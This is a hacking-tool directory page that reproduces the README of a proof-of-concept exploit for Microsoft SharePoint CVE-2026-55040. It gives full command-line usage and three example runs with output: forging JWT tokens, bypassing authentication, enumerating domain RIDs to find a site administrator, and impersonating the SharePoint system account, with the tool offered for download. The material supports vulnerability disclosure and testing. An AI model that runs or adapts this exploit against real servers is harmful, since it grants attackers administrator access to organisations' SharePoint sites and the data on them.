Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-55040 — Proof-of-concept exploit for Microsoft SharePoint CVE-2026-55040 that forges JWT tokens, bypasses authentication, auto-discovers metadata, and impersonates site admins via SID enumeration. | Kitploit
Tools/GitHubGitHub/sfewer-r7/cve-2026-55040
Authentication & AuthorizationReconnaissanceExploitationImpersonation ToolsWeb Application ExploitationInformation GatheringPenetration Testing
GitHubsfewer-r7/cve-2026-55040

CVE-2026-55040

Proof-of-concept exploit for Microsoft SharePoint CVE-2026-55040 that forges JWT tokens, bypasses authentication, auto-discovers metadata, and impersonates site admins via SID enumeration.

View Repository
581591 month agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Microsoft SharePoint JWT Authentication Bypass (CVE-2026-55040)

Overview

CVE-2026-55040.py is a proof-of-concept script to leverage the SharePoint authentication bypass vulnerability, CVE-2026-55040.

For a full technical analysis, see our Rapid7 Analysis.

Usage

root@kitploit:~
$ python CVE-2026-55040.py --help
usage: CVE-2026-55040.py [-h] [--target TARGET] [--host HOST] [--x5t X5T] [--realm REALM] [--sid SID] [--upn UPN]
                         [--auto-upn] [--username USERNAME] [--rid RID] [--max-rid MAX_RID] [--port PORT]
                         [--domain-ip DOMAIN_IP] [--http]

Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)

options:
  -h, --help            show this help message and exit
  --target TARGET       Target IP address (auto-discovers all params)
  --host HOST           SharePoint hostname (auto-discovered)
  --x5t X5T             STS signing cert x5t (auto-discovered from metadata)
  --realm REALM         SharePoint realm GUID (auto-discovered from metadata)
  --sid SID             Windows SID for identity (auto-discovered via LSARPC)
  --upn UPN             UPN for identity, e.g. [email protected] (alternative to --sid, no SMB needed)
  --auto-upn            Auto-construct UPN from HTTPS cert domain (no SMB needed; derives host from cert)
  --username USERNAME   Username for --auto-upn (default: administrator)
  --rid RID             Specific RID to use (skips iteration). If not set, auto-SID iterates 500 then 1000+ to find a
                        site admin
  --max-rid MAX_RID     Max RID to try during auto-SID iteration (default: 10000)
  --port PORT           Non-standard port for target web service (default: 443 for HTTPS, 80 for HTTP)
  --domain-ip DOMAIN_IP
                        Domain controller IP for SMB/LSARPC discovery (default: same as --target). Use when the DC is
                        a different system than the SharePoint server
  --http                Use HTTP instead of HTTPS (disables auto-discovery; must supply --host, --x5t, --realm, --sid
                        manually)

Example 1 (AccessToken)

By providing only a target hostname via --host, the forged JWT will use an AccessToken naming identity for the NT AUTHORITY\LOCAL SERVICE user.

Note: While the authentication bypass will succeed, the resources you can access via the AccessToken identify are limited. For example, you are unable to access certain endpoints like /_api/contextinfo (shown below during the "Obtaining form digest" operation), but you can access other protected resources, for example /_vti_bin/sites.asmx. Depending on the next vulnerability the authentication bypass is chained to, using an AccessToken naming identity may be viable.

root@kitploit:~
$ python3 CVE-2026-55040.py --host WIN-FG3H2SKPOTA.fritz.box
======================================================================
Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)
======================================================================

[1] Auto-discovery...
[+] Discovering x5t and realm from STS metadata...
  [*] x5t: 84eAgzfNOtqgEPs8usO4Jr_0Zf8
  [*] realm: 0e2603c3-5eef-4d0f-90ca-53ee9a7729a4
[+] No --domain-ip/--sid/--upn provided; using local service identity
[+] Targeting: https://WIN-FG3H2SKPOTA.fritz.box

[2] Forging JWT token...
  [+] Token forged (1025 bytes)

[3] Obtaining form digest...
[-] Failed to get digest. Response: {"odata.error":{"code":"-2147024891, System.UnauthorizedAccessException","message":{"lang":"en-US","value":"Access denied. You do not have permission to perform this action or access this resource."}}}

Example 2 (SID)

By providing a target hostname via --host and the --domain-ip of a corresponding domain controller, the forged JWT will use a urn:office:idp:activedirectory naming identity for a Windows Security Identifier (SID) user. The SID for this user is auto discoverd to find a site administrator.

If you know a SID in advance, you can omit the --domain-ip and pass the know SID via --sid.

root@kitploit:~
$ python3 -m pipx install impacket
$ python3 CVE-2026-55040.py --host WIN-FG3H2SKPOTA.fritz.box --domain-ip 192.168.86.11
======================================================================
Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)
======================================================================

[1] Auto-discovery...
[+] Discovering x5t and realm from STS metadata...
  [*] x5t: 84eAgzfNOtqgEPs8usO4Jr_0Zf8
  [*] realm: 0e2603c3-5eef-4d0f-90ca-53ee9a7729a4
[+] Discovering domain SID via SMB (192.168.86.11)...
  [*] domain_sid: S-1-5-21-4203888158-2793536450-3921675298 (will iterate RIDs)
  [*] DC differs from target; will discover SharePoint hostname separately
[+] Targeting: https://WIN-FG3H2SKPOTA.fritz.box
[+] Iterating RIDs to find site admin (500, then 1000-10000)...
  [-] RID 500: no valid user
  [-] RID 1000: no valid user
  [-] RID 1050: no valid user
  [-] RID 1100: no valid user
  [-] RID 1150: no valid user
  [-] RID 1200: no valid user
  [-] RID 1250: no valid user
  [-] RID 1300: no valid user
  [-] RID 1350: no valid user
  [-] RID 1400: no valid user
  [-] RID 1450: no valid user
  [-] RID 1500: no valid user
  [-] RID 1550: no valid user
  [-] RID 1600: no valid user
  [+] RID 1602: i:0#.w|testdomain2\testuser1 (testuser1)
  [+] RID 1605: SHAREPOINT\system (System Account) ** SITE ADMIN **
  [+] Found site admin at RID 1605, stopping scan
[+] Using site admin SID: S-1-5-21-4203888158-2793536450-3921675298-1605
[+] Login: SHAREPOINT\system

[2] Forging JWT token...
  [+] Token forged (1040 bytes)

[3] Obtaining form digest...
  [+] Digest obtained.

Example 3 (UPN)

By providing a target hostname via --host and the --upn of a known site user, the forged JWT will use a urn:office:idp:activedirectory naming identity for the given User Principal Name (UPN).

root@kitploit:~
$ python3 CVE-2026-55040.py --host WIN-79B765S1R4G --upn [email protected]
======================================================================
Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)
======================================================================

[1] Auto-discovery...
[+] Discovering x5t and realm from STS metadata...
  [*] x5t: a1g8DVePm6FB892C0AAB23-Wl7M
  [*] realm: 66aaa1e2-b658-41c4-8911-ff2d5bab5423
[+] Targeting: https://WIN-79B765S1R4G

[2] Forging JWT token...
  [+] Token forged (1047 bytes)

[3] Obtaining form digest...
  [+] Digest obtained.
Download Tool